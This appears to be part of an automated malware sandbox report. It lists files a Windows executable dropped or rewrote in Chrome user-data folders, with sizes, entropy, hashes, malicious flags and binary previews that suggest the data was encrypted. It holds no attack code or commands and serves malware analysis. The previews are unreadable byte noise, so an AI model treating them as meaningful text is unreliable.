SSDEEP:	6:wqkvFQHJ8jmtgNuIjIbKAk+yOJ7BVYFxykT9wtr4FiuZKmvXRhOJDBJWdQvv5zj9:ZkvFeJjgMk+RRBVYFV9wZ4dZ9vXUP0AX
MD5:	A7AFCB706FC88FE88CB723E6E17E5B3D
SHA1:	E1497B908171909592723128ED40628D9EABC5D2
SHA-256:	D51E2E835DFDD38E70B47A4CD301641A9B80246DEFC4A1BD696F9B670E98EF12
SHA-512:	5124EC81709958F5C6376B71F202382283032937563A74C9AD7E2C646296486490F9354304BE197125E6103CDCA64DAAD4DBB8AEC3590304854FF99DE3015754
Malicious:	false
Preview:	.X.%w......U..,.vf.E.\|.N.iaa..x..K...w.....q..l ...[...v..:n.q..oE...dG?;.OjQ.....;.{.P.':.x...P..D.i.f.....'.h....m.N.utX.?.)Q....B.2qLb.T?......)U........m....3.G......D`..h..........>...Q0.,.....d..z.K..qd.....e.2t......&......?{.i/>.od_^S.q....!...O.V..%.._O...v9......wq..i.@.^a)f.yitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	633
Entropy (8bit):	7.6933635098665505
Encrypted:	false
SSDEEP:	12:ZM8IxMn60Gw658/N9XH9JbKRRe7EBmAQW/Ind3qE9R9w16jVcii9a:ZoAZl658jy24/IdXvwuVbD
MD5:	8CB028EDED1AC87F2152AFCA2BDF0387
SHA1:	DF58F13F2F4F28ED87F4891AF1F04EA8C5C6F0CF
SHA-256:	5D44E556C0B60FE603E5BD62A0D37CAE4A0526C94975C75EF7074080E40E7C36
SHA-512:	4A25AF2182A98AB184CF94356A589A56373D75F4D724BD6177A43F37F1301EA0273B43298FBE6F7BCDE5E9E8312012436C8EA50CE2D377B1738E43F312AEA430
Malicious:	false
Preview:	a.a....9...5.../.^.&...d.+F....?MSU~.".mY.R...~;........og..$.>.....98:r.Y..2....m......t........)....F...1.$,.o...<j...:.0A.>..jU........o.U....>....t..{...~.......SC..(=D.}.8.Yh\q.+...U@.ca.4rj.v.?.4pTX.......I..(.uv...T.F.D?.(......:&.{..dz.....oCe..i....w...............?...a.=...){.]....H.Q.=d..w<..9._.Vf.n...,..7..\|......VI,Q.....x..".......Z.j.W'R...Q..z.)......N.N.q..)rt.....4.~.K=.2.......T.....'...)N!....E.UE*T..^...#M....H.W...3%\|(s...Q....}.o.'.l........M...%....jS...E..[]..].....i.`.%...\......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	7.651662064033521
Encrypted:	false
SSDEEP:	12:k7MG0esh498FMgZ3I1WpOo2g13LzkSpjP69qs0RD2wNjVcii9a:rG0N498FMgxIk3HlTpq0RXVbD
MD5:	F5C38115AB945C652AEDE911BB8B7307
SHA1:	C2EA1E55042380A9F3E13813086257ABAE1D8D1F
SHA-256:	F69BAC9C4B157B993A68F0538DF6268A09CB6F714F514E0783B1D4A18F17AB4B
SHA-512:	7394E280042C83CEDC90C4B198D1B8E50C8F4382DE2BB096259A457B565CA821DCAEF216363C17E5F4D9A761DDF228D1D48E4BBEEBDAE94ADD82C0C0011B774B
Malicious:	false
Preview:	2023/iTyX..l,.wkpB.~)..fk..:....>..@..b)....Z..$E.D.3.......S...).]l..SfI.D.........Q]F...>...O...B^......<K.[.Eadp.P.B'.~.F2..+.=u.H.?V.94..).3@-.7.~..q~..?u.F...O=8.kb`Nl..i.La..fW..Ts.O.!.......<.......-...e..=q.W...,............_5..~......d..H.....8.....s...d.`.#D.8.9..z......t.t....n.e....U..l....E<.2..f;.a.y.Ux=..h.{.5.w.9F..dm...!q^..c.9.....L..l.`.e....P.D...%z.T.u......Y.b.b..R8......!...+....6.#"...(g..K.......KlN...a.s.".{..W..;..J............_..79n..t..P93."K..{..p.[M`...>..E.M..ZS...'.q4..@t.'..t.e..-.#.........H..............:..3.1.EQ[..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2713
Entropy (8bit):	7.924512953388921
Encrypted:	false
SSDEEP:	48:FvKJ/ZPifi7rJweBRCRD8Sjcv200UA0wgan/fV0DcUpcPe3jo7BfJLUaFD:g/m+vBoh8CJ00rJb0lygjoRea9
MD5:	8E147A511BF41E34D0F4CFCEAAD0217E
SHA1:	AFD77422B75F5155DB58BDE4C2BB885AB774F7AF
SHA-256:	1FF1F410B5444460B4CB535A91D9FA6B4DF39566F57E6E88CD1C9EAF6770DE55
SHA-512:	F8AE7E8EBCB439732297481FE4743902A1D602E46F15DB603CB7A728EB8F5314EE25A20F2B04A92A8D3E02677F18E605207D3A7694D8C1DF918D68587C0F9BCC
Malicious:	false
Preview:	...#....q.p,/......i..n.........r.....a.=Y.1......&..........I....j.DTZ.O..Y..5csI..b.3..A.2....N..e..+.!...q\.\...X./..J#......\|:].a~...5'f...p.H..e'...<U{.,%:y_....qom.9..%.1<..........Od?C].b....P....V....N(......T....<..'D..'.k......_s.s..Ncygs(..8...Ig.5..........".....o.[.&../gj..Z.X.x.l....rCkt2..D.e.....#..g.d...S;...[....'/.S.+.G....i..L..^...e.p..,.G.+.d.)\|:q...)\..k....".r.9.3.S..Q..l....fJ...k...:.f...c.r9....K.;+.u0..Xq...t.....[.$y.f..(...&Dw...m..X....m.<....v.NU{..p....o.&$.z$..n...O..f.4.l/+aE.........8..T.V.....=.J`.2....N...fc'..[.. x).U..r.R.5.!~_Aq:.1..,YZ8"!.:.D..8.3.>[......og9..).R.6o.K..3.......DD,........4...R..9.:;..W.......Nc...76.U.Ff..^\.U....4.;...B1.Mb.K .l.......Kb...Q..4.l..[X...C...+....SM...N..+V.gL..:..?S.\|D..NfT.....=<:..1AfR.AF~4.E.y..c8.....Q!.].l..p.0......q...;.G..\...1$.n...Kf...[0~..(4........jR$...n........A].Z.vX0W).....Z..`A.V..V...Tm.....I..h...[.3e...o.d.J.d.d\...%../..Y.....l.NY.....pQ...J.s

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.645518505993962
Encrypted:	false
SSDEEP:	12:kDfnNmnfT6CTV/sRO6OI3+y8HzU8EllTsdPKA7J8JPPzYWIjVcii9a:qfNmf2Ul6OMh8dEllTYP9lmPzYzVbD
MD5:	286960996ED5288C940F5672BBC984E1
SHA1:	C99A31F2D57939776F918062A8060A8F2E66D525
SHA-256:	B4F151CE39BDFB631DDE03443B6209A472DF40C98CCAFEBC58695A2A6417FB42
SHA-512:	33285DB329464C76599A9AF0DC5F6C601AB6D0D6A598C3B15ACE23790B8CD3560F761106632A6C9EF945A320B072DD511138BCF43D7FFF4D20ACE37BFC5005FD
Malicious:	false
Preview:	2023/....Q%l#t.X^7b.[.E.?.....Y.n..r.S.#.x.1...<Iz+\..d#_h../.S!=^...K<...L@.hW..y.<_<...G.....P..S..3..6.....+`\....[r.}..kqw.k..hQ.......\|....=...X.b.....+......;a1..QW$.iRd\|n..S..V...g....9:......."E..g....{k.W..@\.GL=1.......mu3A/...:...Z..4......,......y...K.q....L3....."Z..c.a....q....}...z.UES.{^.\pwy..j..tb....b...m^........."{....@-...O.oG.7...B....A....1.....P.mr........w.`.:.sd..v\.ff.....m..q'.)b.`G.8..J.(..H.u.....{.f....d2E..vM3K...\|.A..+[z.&(.o..Vq!n.6.m2#...b_.Ya2'.-w%....s.n..l..SNE.qD}.Wo-.{.]......_..Z.>..d.SJ1Z......\..O.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.49176963237139
Encrypted:	false
SSDEEP:	12:jCnEZPXF/9VvqNnDcviVNogLKH40pdZu4jVcii9a:jCnMF/PvInDcvcHLsqaVbD
MD5:	9CBE8EF4B48550792BD08F183056D13C
SHA1:	5C567FC97E7AEEC8AC5AC8D2231E826FB365AA13
SHA-256:	5507904EE2D8F1BC502249B40B6E23EF6B3D3F16324C4F5DD2D6F4A5B7616290
SHA-512:	394C9A2FC877C0E9A328BB3A65D391AD7ECDC1C2CAF29DDF6B565A80AC7D4F741B410D324B4573F864FC1BD295AF4BFC041AA7E6D835C5933BF6D2EC7B30259F
Malicious:	false
Preview:	.On.![.8...7T......{)Y\0t...L%5xg..f...\|.=.L....>... X1.1.,.j.c..<o....\.6....6.....j.c...=f...Z....6U!.@h.w.&J..M.G.........z...g.......H!..(...A..+.I...+..95W0 ..A.....\|....R#..@%03S_6.(..Kv.x...-}w........D...O..v!Q...".a.)".AA.g....h..=....BR*..<F`j..}.g.}.B/.I...(Q..<.n1...r....q.(.d.U.xk.[...z.f..Z..l.`#.".../8<g:...^\|.nQ.8..XH..`..:....=(..Jitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.618320119532341
Encrypted:	false
SSDEEP:	12:k+SSTIQki+BZA/2bs8gYYz0h9nI3fe2LrXA6mZ8tXhcRejVcii9a:YNi+Bg2bs8gch9022AfO3c+VbD
MD5:	273AD328FDCBCAE409BA29858AEF74DD
SHA1:	F24BA4B14A8AA3D3607839BCD1BDC39D8B0C2823
SHA-256:	BA0AC335987CA52AC4C720EBA707A6E0FACF1FFC61928C2A8C485AE49F220AB0
SHA-512:	83B2B83768AC9BF2DFFC4CB2CB1E07F017D61C8306A63399251887BC71EE8D2D3D50D6F9B66F0CD8A6E3B88256061EBD5296D3F2EDE39EEEA881270D40195401
Malicious:	false
Preview:	2023/@..Cdt..\.7M..0..._+.I.P.hi..\b..l..nb..+..W0q........AQ.\|.?.l)...U.Y...B..+S..-........x..(J.t......b..S....@.....'..)..H....!.0...{3.~Q.f...'....I..M{.l...}.....I.......0i.5J./\|.yf>.V....._...`:...6.7....0 ..^_.+{g-....y.....'.aM.l.4b.m..t.s...r...o8f..c..d.f(...'B....{>..0G/.i~C&..].w........k.W1Hd.,. .SY..@tss.")E.......!.5P.)]..o....5.=.<..&...%...c.4.p.dU.o....@.z....T%...]q...&.~..R..5....s..h...M^</8.i.G.i...X."S...>.\.\eV.....\|...C.p.74...E.VP..>.... ......Z.9...g...pH...&=....E...@..a.F........Wm..<..........G5.3...:.....2/...d...?G......r".F.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	9246
Entropy (8bit):	7.980521221637838
Encrypted:	false
SSDEEP:	192:/RFlwnP8nw655rOv2iu6R2cWX58s9rgIv30BpnMtTpThZyUl1AYfGwgLvgdtQ:Kkwadg2URMXastpvm5MTRho2yYfGZLvh
MD5:	D75B0A7F5EB51AC929C44DEAFC3F0CBC
SHA1:	39CB845A4C2C995E1D516B5E178A2F6361835CEF
SHA-256:	62B29A7F6DA8A414068178AB7C00323A30F78C5C437E7A94E3558B259F93B5DA
SHA-512:	391FD8E87305CED5C8877F2ACB1F6EF0239A27CD15187B9B3488AB4D5E9BC4212BCE951A325CEC8DA0F2E5F1DD3B4511777ADEB89F3C656762BC9C7A2EA93D1B
Malicious:	false
Preview:	...n'.w...L.x.$.H.3.....^...]..,.$).gy..=...../.w.A(.W.y.W' ......Jcd...@.._...."!...f.....f..-o9.g.K....C.Y.;...Z=U...._..m.....n...}..W.......b..v.6.U;..}.yDbQ.....E@...g....k11.f.0<.0&H:...$6.c..8...._8(oA..V.c..~.8r.....>+..'..B.-B.G,.oF.qR.`.&.`..5.}4\s..lr..eK.;.Q~c:....$......F.Q.....8*..+...r.p../tQv.g.<+...'.J.<%?...D.r.....7.T...n............M..oQ.g.wJU.=..oGmL..zi9..I%..1#Y......K.E....&.F...>l.pC-.=z..K!A.o..7.e..V.C.!...@.2.f$.....kfg....+....w..y......T>el.R:.s..}\i.Q...9....Q.............u$1I...Z\.K...g.hK..c..&...V'eMS....a.Z....Z.npp..9H0...)m..X.MG.@.\.~.r..HeNCv.X....gP...Q.;.z...-....Z.....w9...L.{!%......F..).y...ts.....`...M.....S).....(....~.[}....m...Ma...s#....>..u..K.:=.%>..0W...7.....e.:NP..4.>.._.2`}.4{..V...x.Mc4...~......"..V;.<..>...Mx...NhL...T..9.Bx_...$.. .....!.......oA..S..qZ.^P.0e.....x3.~.J.....2..g.....`...E<X...X.....;."..,Z.......s(.T{...y....L....j.`....NA.$^s..}D.6Ex../.].,..o/......-+r.B..:;.Q..v9.0.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.5997032335285235
Encrypted:	false
SSDEEP:	12:kGgwWP2zYfm8fiB6mrfWY+xvdqBxLlVdZ2XjZaOQhQZIjVcii9a:CusJmrffU8xLlVdIXjZqhQIVbD
MD5:	911D1142C113F64135D74B138726C7C2
SHA1:	7B8E4072D431B5E2640DBFCF5A5AF73C087A8004
SHA-256:	78C5DA646AD4FC5CDAAF340197A75162E05DF84D2E916B691E64E5F4C9D255AF
SHA-512:	A113B43FE4E32EC6EDDD1AC473A29FDD32456B98C51E89800A0822D27162ABE31F5E1F425A6111AA8207908049A48C88AD9B60226409ACC6F6B2B2E7D3059B4F
Malicious:	false
Preview:	2023/..@5.h.c......JMHV.V.&...-8.y.l7..>.LM:i..G..N...xhB"..&w.0...g..i`.<n>..S.VS.$.5.S2{%.....d..ws.....4.n.>.$y...C...Av..F.%.3&Gw%..zr..t...v.F.aV....17....b1.0..iy.`J.Be..G/.0.0]AP.\|e..JQ.Q}-.."..W....'y.N2e.L.(:R..\|~.T!.W.F.1..E......(^.U..T.bhx..tC.R}.&.../+......bm.i....V-.i6........$...o..In....{W.Ts..Y3}...Z2j..J.....z.2.0...Rs..w.o8Yx.......n....Q$...!....%.;.X..`QE..pw..H....W8h...(....w..@x....Ji...\.G9l>..M......i."]-... ..N..r..)vE7.i.rx...es..".#].Q.U>.6.R.....?=..6........!..H....#.PG.D.......pH...o...G:Mb..l...0^.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	170742
Entropy (8bit):	7.998785158924243
Encrypted:	true
SSDEEP:	3072:0neqlvkYmP1dWqrm8lyBKQh0QMjn6sXRPCsqVJ:VPP1Iqrdy8kEx+
MD5:	625D232F34530748D5BDC6192461DB9F
SHA1:	842CA4CB41D42CD244742B281CE6E07FFCE83E5A
SHA-256:	A217ABE39A75C6460815026D19B289B7BD84A389ADF08A13104BCDE96891A8CB
SHA-512:	0CC30279DF091A20004BC5A2A39FF6B944F2ED00A9C8B2FCFA7B752EE1B23FC2A5B81E1155133E14678C58EC45431ECC616DE0F56BE3F7506940DC4B48D795C6
Malicious:	true
Preview:	.....D........7.:.w...(.n!....Tp.K........._.......7 q....C]0.f.......p....D..i..zL.T....I.N.....>.)g....X..}.9Q?J...x..c...+21.........J.g...`.v.i.D..m.^b'.:>~.%;........P...'.....j.....y.....O.C.v.m.q?>.=.}BlL.h....%_A..^.o..B..;.?v.V.KrO^.%I.q.7.'!..v.?.....[g...P.wU6..P....ex......faL....~......S..wGMQ.9J......^.[.$W...?d@.)..n.Gr..{+!.....L.[....z.l..4].t..O{!...I?7=67h..>t.me.......z..(...g...j...=g...'..Y..\4(.\p`.1A../.%&'../.IQ.mzD..b..E/...}u)..GWb7Z.j.l.O$.'1...X....N....~...2..e.t.s....N...h.qTE...AA.)g..C.&...-......._.i2,H6...}...<..H.6..}.H...G....B..NO...j...j..3.6.. 4..+..k........W..'..d~#...Z...."...0.=..+..5..=...x..kx..a..".v..,....m^..}2.,......Ji.!1....6.R...j....'.<:..T:9...A.e...%$.]..P'.4.7.....Un./..x....1.........HIo...>#."H.....uj 0<o...g.c....!..p....(.s..y.A....>.DF:.y=.{n.UT8..`gT.]......G......~.rhy..>..%..g........F...M\. .q Q.we{.Z..Yd.\.nb.a..JB.,_Y....\.:B.w-.I..&.jw......@.*..0.L.~..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico.md5

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.300894042123814
Encrypted:	false
SSDEEP:	6:5w3hfBOslSS+gtjIir1I0/VQr669RciaU7k6ucCSEz7bJzjhPcii96Z:UBDISptjfJN9QrD9Gia23u/NjVcii9a
MD5:	4BDE572B81BB2D246CF00055EF56344B
SHA1:	CBFE6ADB35A224081E26F4BA7FCBA109C79ED292
SHA-256:	8ECDCB70F7FA8C637CD00DCCE655EB5BC2698450C86EC9CC5647A6408E9455DC
SHA-512:	ACDA3C1587A8AEAD697F89FDDB6D923FFDA2D2FA6CB4BCA4D2751C15958E07009444DD02914802B8919F0408A55E4B19F937518DD69987CB424F45CB68026AD4
Malicious:	false
Preview:	......<d PB.S.k.T..5..UV....^0..O"..=....7.R..._...\....,.D.....!N..{..~.t.D....o.N.X..6ico..n....t.c_.+Q*~.\|s..-.e.%.@Qf3.hV8.p`..=9..\.../.E..[.o..\..t".....z..<..u.$.3...2/..\|.A.Z.YA.f4q......x.d=1,.x...Q.-c.....v,..D(...>..X....).T5..Je..A.......?....<itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	176487
Entropy (8bit):	7.998434609582676
Encrypted:	true
SSDEEP:	3072:8qomdBGyEiMOJr+YpzbQIuVILnCjbw/YqqD+hm5lEuf0Uc9gpb5NhXsgZpflzen9:8qfdQjixSYpv9+8/FueusghygZpiUIWM
MD5:	2BA3F9807A9255C91B3008F8C33645FD
SHA1:	FA36C9FBD54B720EF2D726E76E5A508F68CC7418
SHA-256:	466B89FB67FE1017A3533B729DA3BE72165E73F7C3AE6D55E59981A8151F37B4
SHA-512:	45D619A3A07C393679EDA792D964D5C77264685794525A34BA5B9331156CBE832A82DAC2F0487536F83254856B455A023385263D6BE08623B57FD97894D0B267
Malicious:	true
Preview:	.....h=BwS.5..ZeW..s[.I.....km.j.D........o4q?..O...\|...N:[..Q...pA. .P.J.. ...(..s...(.....~Y.F..).X.G.!../.Q.(.".H.!.Q..8...........#..`3..L......T.I`....t..mC.{...F.+.t..h.4.u......}F.6.../....sD6..$]}g"...P}..N....N...M.cf...p2.gs2...t.u0W..(T...B..F...A../p.JL...&......O........C...lUq...\..?..Q.)...pB?.P`-7o...I...1..^..c...!....n.n.X<P`.....U..1..#...}..s......\>...d.x.MC=.\U..)tZ+....z..7..P....".no.........yE..p..t...a...y....S....l..9,S....q........d..xSL...h..M.."..]yy..d+.....9.T..'.ku...S.`L[..4&..J...8.G.,=gR...r.x....G.]l8.!h)grdk...r..)..l..R3\..E..s.....q<...n....IhQ.e.._...7......:....`..G.iAr..1.M".$Bo..[.2.......+..u..>..)b..jO.y..h...x;<%W....B.g.@......X}Y.^..b..Vfg....za.)....a.X....X*V.XH.C......nS.t...9.....].......W..$...\|..'-M....P...h.M<.&Y.....,.{....5.Pd...p.+.X..._.Q..K........d.z.x...&.20..&....R..#...U"MI..}...`.K.F.V.......C....4.......`..p...W......3.7..W>...,'...^.n.OD....I....F..T..\|'....9..!D

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico.md5

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.3603511848394545
Encrypted:	false
SSDEEP:	6:pY/ZAG/loLlUMh9qZ7Y0gCCFNCuRoTm7Tm2TEHY2dGm8uyfzjhPcii96Z:pY/ZTIl9rqFeCCFNCunTE4tmubjVciik
MD5:	BA990BB7FF1C3A606766CA7672BF4FC7
SHA1:	99D018597431DDC22F4B746EA27744CB5E55FB27
SHA-256:	4072A48B47BB51309DD757D9F7C4C550FDA3F33D83D0EAE7D0425A7AFC37BC7A
SHA-512:	5701417681F623819188EE682B1C0507CEEE4F8C594A15516E92E03E5CAC50EAD28A65EF534490CCCD9DE09AECA525FE6C0E0F764ECF065F8BB22548FEBE222E
Malicious:	false
Preview:	..m.I...!...G.\|..( ...pw..zM....HwL/.8.)..A.R:...q../.}n..x..0.....1\|U...]....xhj...S.xQo.X..$M...=.>..K.c.A6....Q.6.......Ix..8....ia......8`..0K....c.$..T.....V(%I..+..i3.HY.^\A%...a..r.4..Xu.)r.......#s.=<K.<.\|.9.....dt..x......+(..........#....,kZ5..r........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	156339
Entropy (8bit):	7.998787234742738
Encrypted:	true
SSDEEP:	3072:b31RnVrWHAsyHt5fiCN8beT6gdql6NyWJNX/m:J6otpv+eTVdqsNzm
MD5:	F7F3ACBBDE28213009CB55FC71385356
SHA1:	13DA9D2AF85221AAD095C77C18A4690B5110C08C
SHA-256:	4F7BC49CD30FF5438916C30F0D5ABF0EA267A9D96557ADC458F5A47088AE82C1
SHA-512:	FD5ECCB0043B9790706B6397773974AD08BCEAA4083A26FBDDB13C245F77878B311470D752AA8615C9DFCA7CCA709BB27E491884068450B37B720AAF9EBE7E6B
Malicious:	true
Preview:	.......5nm{..M.%S.>g?....:..p.-..A#...AP7......i\.Kb...^/......,3.'...k..?PZ.4....@.8p.....y.....]T.S.0\|../...2.x.dg....]....{....F..0(... ,].ha<].....~.<Sro.....Yg..-D.....T..>/D......d........9..%xS...F...J...e@...l9..........K.....(...4.J].....9.......&J..a..8..$...Z.>..(..%Nv2(.....q..DE..Q@...?.r{....j..;..`..\|.?.n....Un..W.7............2(.O..:..y....co.C..M...7..9..X.x...)..=`..!;....E.a{....)..Y6.G...q.-....'.G-k2.&,.q..Q....b.....X....-.\|I..$sdu.#...O.<.4.$$C...Ae.K.G\.6i.>7.~.<....'.....4.<.~_."Y7\..r+1q.Oh...n...U5....:x........J.Ej.Y.V....7A....K.......7.Dh."...XI.".#^..z.&y..0....^..20..)(VG&..L.....Si...v...D.d.eC..[...0.{.j....}u.....4.7".?.%xp.-.....9.]C..l..a.Yc.Q..>.Q..[..i.jn_sQ..._..\|..q[....'...-..=.........5..9....k.d....\|;....`.!.#......9.Y......Y......p..@3.$.0..y..s<....#..7....r...F...p..C..%=;(.S...5!...........X.5..u[K.u..j.U4a.-.3><V...jk....&2.7w.....h..>.(G.'iv.N.....)4e.2..$.]H.3..D!.+..)6.....;j#s.t=..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico.md5

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.236636256421889
Encrypted:	false
SSDEEP:	6:hMF8u2v7qg98BC0JduVlUvWK8b/qGhG1Qh4UYrFCyDW+czBzjhPcii96Z:eF8sgGtJIPUX3GhGQ38Cy8jVcii9a
MD5:	5E183BB06AE0113589E32C901E15F46B
SHA1:	DFC31FD14074C5582109CC1AC2E16046A7F5106C
SHA-256:	FE9ADAB4A20A7DCFDCE7B6B7AB1208CC148C0DAB07E3AC36CCE74FDABB13202B
SHA-512:	D357D4B99022D912C5E3405A02AC3C67E5AC0FB412FD1C19841819DF42F7503E3B7E1D54F7AB2A39B9643F06E4468A652993DBF8CA5DC18ED33F35B374712265
Malicious:	false
Preview:	.[..rY.i..........#..G.....ls&....?..p......=.. a...\4.~T.._..bX.+.H..r...D....+./jo[Y..KI...C...:...6..~.z/.V.@..>.......L.L....P..;.4X...GQ...P.%..o(..D.g.N..Z...)A...w....S.=<Vn.S.}...5+.2(.#.0.....l.....P8.s.......)<..... .,2[..aR.cy.7.&\|..F.&.3...t. .P.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	163379
Entropy (8bit):	7.999003764946928
Encrypted:	true
SSDEEP:	3072:z/PRYzWJK37KGYkoDrJxJVdBXKz7in5thEtiyFDEFDldMby:z/zJK3utfJxzzXMWn5t7gEvdMby
MD5:	FC23223AE6E1B4EB7433994716418A91
SHA1:	E9FC200D366CE54DCE9E96A74029970110D44860
SHA-256:	52C1389F658B0A3BE95849C3E6DE54A807CC20B054941D534A7E52048F03E6AC
SHA-512:	E08157092E22EB794E2B1A199F1D6E673AC98548B9EB32BBE07F8890D43E2D5256F14CA86361B8D1B1E835220849A947D79DE30F78C882D56886F659E578D934
Malicious:	true
Preview:	.....k.d.a.f..u.VhE.p...Iv...A.n<..6..q...uwv...d]....l.@...\....../..l?..~.i1.%...F.T......9J...h./lZ./.....a.V.T.T....a..%i........Mk..\|...8.k.<.._..X..T...._..........N..LY..Og.P..'...f.6.L..dAH6..gEJ.....]1x..u3.j....t`a.q.!..d.pCV.z#.<.Gi..i...{.g...T..wY.W&.V.^...L......?.\...!...<E1.^T?N..0.m....9...R.^9q...{:1./...._w..R.....j..&.....O.J...!...U.../...+....J......3...f4p+../P.}ZJ.....=Eu.....~.{.>.....1 ...~.X.'.gR.Kh....r.\...c./...,XJ.)>..\.n..nO.J..X.k.y.1.....s..l..(...a..e...H..#.k..2..\|)>....p.Q..w....s.'q.gi^....i..Gh.....2..@.9....g.&.v..e.W;.:atWu.r.n.q.w.K#..\|.8#m......\|.5.V.;g.....A!.9.(0y..].6.a3..+N3.9XDq...h...9..m>..O.]D._~n@....-..8..q.2."."..?`.....c..e..Eh.'E.e2....&.1.X.F...AG?.....NY.....G..;,.No].7.......7...wk.q.X.H..F...H.fr..g...Z....%Jk...B`.......Z..l,y...r..G.....U..t..k!..%...gdq.....9..At..vh....J.K-%..K..x8....e..........(g..~U......#<p..).K.+4.(%.....c.v5\...~t.!7w1...u.'....SR.E..k0....!........nk.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico.md5

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.357603960500852
Encrypted:	false
SSDEEP:	6:6qcmGm3yJfgeEY5u8anuo5iHohht7U+Vju8n5NLKv4P5h6NzjhPcii96Z:HcNtgB3nUHgtYJ8nbLKvPVjVcii9a
MD5:	27E61893621D31A680AF66185B495B4B
SHA1:	E145CB91D1F6C80FC441407B199BFB04E7B23610
SHA-256:	ACB726724FB94EEE1D5EDAE3F0FE912E57696089DAD5DAB93AE475B561DEA521
SHA-512:	F681C4B31C6EB962729C2B9E33D6D16CB1756D1FCCB7693995AD869832C39FD62603055973B734430EFA9A0C3FFF03D8DC618A04DDB8FE0759BECE0B5577E9EC
Malicious:	false
